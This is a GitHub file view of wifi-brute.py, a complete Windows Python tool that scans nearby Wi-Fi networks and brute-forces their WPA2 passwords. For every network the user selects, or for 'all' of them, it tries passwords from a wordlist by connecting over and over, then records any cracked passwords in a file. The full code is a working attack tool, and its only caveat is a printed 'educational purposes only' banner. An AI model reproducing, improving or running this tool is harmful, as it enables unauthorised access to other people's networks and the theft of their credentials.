forked from Cyber-Dioxide/Wifi-Brute
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwifi-brute.py
312 lines (261 loc) · 11.9 KB
/
wifi-brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
import os
import re
import sys
import time
import pywifi
import ctypes
import keyboard
import win32gui
import argparse
import platform
import threading
import collections
import win32process
from tqdm import tqdm
from pywifi import const
from datetime import timedelta
from utils import Colors, banner, clear, sprint, print_header, get_input, print_table, print_status, print_progress_bar, confirm_action, gradient_print, get_terminal_size
DEFAULT_WORDLIST = "probable-v2-wpa-top4800.txt"
CRACKED_PASSWORDS_FILE = "cracked_passwords.txt"
ATTEMPTED_PASSWORDS_FILE = "attempted_passwords.txt"
DEFAULT_TIMEOUT = 5
class WifiCracker:
def __init__(self, interface, timeout, wordlist):
self.interface = interface
self.timeout = timeout
self.passwords = self.load_passwords(wordlist)
self.cracked_passwords = self.load_history(CRACKED_PASSWORDS_FILE)
self.attempted_passwords = self.load_history(ATTEMPTED_PASSWORDS_FILE)
self.paused = False
self.stop_cracking = False
self.current_ssid = ""
self.current_password = ""
self.idx = 0
self.total_passwords = 0
@staticmethod
def load_passwords(wordlist):
with open(wordlist, encoding="UTF-8", errors="ignore") as f:
return [x.strip() for x in f if x.strip()]
@staticmethod
def load_history(filename):
history = collections.defaultdict(set)
if os.path.exists(filename):
with open(filename) as f:
for line in f:
ssid, password = line.strip().split("--")
history[ssid].add(password)
return history
@staticmethod
def save_to_history(filename, ssid, password):
with open(filename, "a") as f:
f.write(f"{ssid}--{password}\n")
def scan_wifi(self):
def perform_scan():
print_status("Scanning for WiFi networks", "IN PROGRESS")
with tqdm(total=100, bar_format="{l_bar}{bar}", colour='cyan', desc="Scanning") as pbar:
self.interface.scan()
for _ in range(100):
time.sleep(0.04)
pbar.update(1)
return self.interface.scan_results()
try:
networks = perform_scan()
except ValueError:
print_status("Turning on Wi-Fi", "WAIT")
os.system("powershell -File TurnOnWiFi.ps1")
time.sleep(10)
networks = perform_scan()
print_status("WiFi scan completed", "SUCCESS")
return networks
def connect_to_wifi(self, ssid, password, is_hidden=False):
profile = pywifi.Profile()
profile.ssid = ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = password
profile.hidden = is_hidden
self.interface.remove_all_network_profiles()
tmp_profile = self.interface.add_network_profile(profile)
self.interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < self.timeout:
if self.stop_cracking:
return False
if self.paused:
self.interface.disconnect()
return None
if self.interface.status() == const.IFACE_CONNECTED:
return True
time.sleep(0.1)
return False
def crack_wifi(self, ssid, is_hidden=False):
if ssid in self.cracked_passwords:
print_status(f"Password already found for {ssid}: {next(iter(self.cracked_passwords[ssid]))}", "SUCCESS")
return next(iter(self.cracked_passwords[ssid]))
self.current_ssid = ssid
self.total_passwords = len(self.passwords)
print_header(f"Cracking {ssid}")
terminal_width = get_terminal_size()[0]
self.idx = 0
try:
while self.idx < self.total_passwords:
if terminal_width != get_terminal_size()[0]:
clear()
terminal_width = get_terminal_size()[0]
if self.stop_cracking:
return None
self.current_password = self.passwords[self.idx]
if ssid in self.attempted_passwords and self.current_password in self.attempted_passwords[ssid]:
self.idx += 1
continue
if not self.paused:
self.print_status_line()
while self.paused:
time.sleep(0.1)
if self.stop_cracking:
return None
result = self.connect_to_wifi(ssid, self.current_password, is_hidden)
if result is None:
continue
if self.stop_cracking:
return None
self.save_to_history(ATTEMPTED_PASSWORDS_FILE, ssid, self.current_password)
if result:
self.attempted_passwords[ssid].add(self.current_password)
print_status(f"Password found for {ssid}: {self.current_password}", "SUCCESS", start_color='#A020F0')
return self.current_password
self.idx += 1
except KeyboardInterrupt:
print("\n")
print_status(f"Cracking process for {ssid} interrupted by user", "WARNING", success=False)
return None
print_status(f"No password found for {ssid}", "FAILED", success=False)
return None
def print_status_line(self):
eta = timedelta(seconds=int((self.total_passwords - self.idx) * (self.timeout + 0.1)))
print_progress_bar(
self.idx + 1, self.total_passwords,
prefix=f"Progress ({self.current_ssid}):",
suffix=f"Current password: {self.current_password} | ETA: {eta} \r"
)
def handle_keyboard_input(self):
while not self.stop_cracking:
if win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow())[1] == pid:
if keyboard.is_pressed('p'):
self.paused = not self.paused
clear()
print(f'\n{Colors.YELLOW}{"Paused" if self.paused else "Resumed"} [{Colors.GREEN}p{Colors.YELLOW}]\n')
if not self.paused:
self.print_status_line()
time.sleep(0.2)
elif keyboard.is_pressed('q'):
self.stop_cracking = True
if not self.paused:
print("\n")
break
time.sleep(0.1)
def check_privileges():
if platform.system() != "Windows":
print_status("Sorry, only made for Windows :(", "ERROR", success=False)
time.sleep(3)
sys.exit(1)
if ctypes.windll.shell32.IsUserAnAdmin() != 0:
print_status("Administrative privileges", "DETECTED")
else:
print_status("Run as administrator for better performance", "WARNING", success=False)
time.sleep(2)
def display_networks(networks):
headers = ["ID", "SSID", "Signal Strength"]
rows = []
hidden_count = 0
for i, network in enumerate(networks, 1):
if network.ssid:
rows.append([str(i), network.ssid, str(network.signal)])
else:
hidden_count += 1
rows.append([str(i), f"Hidden Network {hidden_count}", str(network.signal)])
print_table(headers, rows)
def select_networks(networks):
display_networks(networks)
while True:
selected = get_input("\nEnter the ID number(s) of the network(s) you want to crack (comma-separated) or 'all': ").strip().lower()
if selected == 'all':
return networks
cleaned_input = re.sub(r'\s*,\s*', ',', selected)
cleaned_input = re.sub(r',+', ',', cleaned_input)
selections = cleaned_input.split(',')
try:
indices = [int(x) - 1 for x in selections if x]
selected_networks = [networks[i] for i in indices if 0 <= i < len(networks)]
if not selected_networks:
print_status("No valid networks selected. Please try again.", "ERROR", success=False)
continue
for i in indices:
if i < 0 or i >= len(networks):
print_status(f"Network ID {i+1} is out of range and will be skipped.", "WARNING", success=False)
return selected_networks
except ValueError:
print_status("Invalid input. Please enter valid ID number(s) or 'all'", "ERROR", success=False)
def main():
global pid
parser = argparse.ArgumentParser(description="WiFi Brute Force Tool")
parser.add_argument("-w", "--wordlist", default=DEFAULT_WORDLIST, help="Path to the wordlist file")
parser.add_argument("-t", "--timeout", type=int, default=DEFAULT_TIMEOUT, help="Timeout for each connection attempt")
args = parser.parse_args()
check_privileges()
clear()
banner(show_logo=True)
sprint("Note: This tool is for educational purposes only.", delay=0.0008)
time.sleep(1)
clear()
banner(show_logo=True)
interface = pywifi.PyWiFi().interfaces()[0]
cracker = WifiCracker(interface, args.timeout, args.wordlist)
try:
while True:
networks = cracker.scan_wifi()
networks = sorted({network.ssid: network for network in networks}.values(), key=lambda x: x.signal, reverse=True)
print_status(f"Number of unique WiFi networks found: {len(networks)}", "INFO")
selected_networks = select_networks(networks)
if not confirm_action("Start cracking?"):
clear()
continue
_, pid = win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow())
clear()
print_header("Cracking Shortcuts")
sprint("Press 'p' to pause/unpause.", delay=0.0005)
sprint("Press 'q' to stop cracking.", delay=0.0005)
keyboard_thread = threading.Thread(target=cracker.handle_keyboard_input)
keyboard_thread.start()
hidden_count = 0
for i, network in enumerate(selected_networks, 1):
if cracker.stop_cracking:
break
ssid = network.ssid or f"Hidden Network {hidden_count + 1}"
hidden_count += 1
password = cracker.crack_wifi(ssid, not network.ssid)
if password:
if ssid not in cracker.cracked_passwords:
cracker.cracked_passwords[ssid] = {password}
cracker.save_to_history(CRACKED_PASSWORDS_FILE, ssid, password)
if i < len(selected_networks) and not cracker.stop_cracking:
if not confirm_action("Continue cracking the next network?"):
break
cracker.stop_cracking = True
keyboard_thread.join()
if not confirm_action("Scan for networks again?"):
break
clear()
banner(show_logo=True)
cracker.paused = False
cracker.stop_cracking = False
except KeyboardInterrupt:
print("\n")
print_status("Program forcefully exited by user", "WARNING", success=False)
finally:
clear()
banner(show_logo=True)
gradient_print("Thank you for using WiFi Brute. Goodbye!")
if __name__ == "__main__":
main()